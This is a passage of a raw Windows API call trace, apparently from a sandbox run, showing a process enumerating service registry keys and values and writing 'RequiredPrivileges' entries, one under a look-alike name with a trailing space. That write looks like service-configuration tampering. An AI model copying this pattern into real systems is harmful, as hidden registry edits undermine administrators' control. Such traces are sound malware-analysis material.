4.0", lpUsedDefaultChar=0x0) returned 21 [0239.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.316] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.316] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.317] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.317] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0239.318] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.318] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0239.319] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.319] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.319] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.320] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.321] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.321] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.321] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.321] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.322] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0239.322] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.322] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0239.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0239.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0239.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0239.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.322] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0239.322] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.323] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.323] 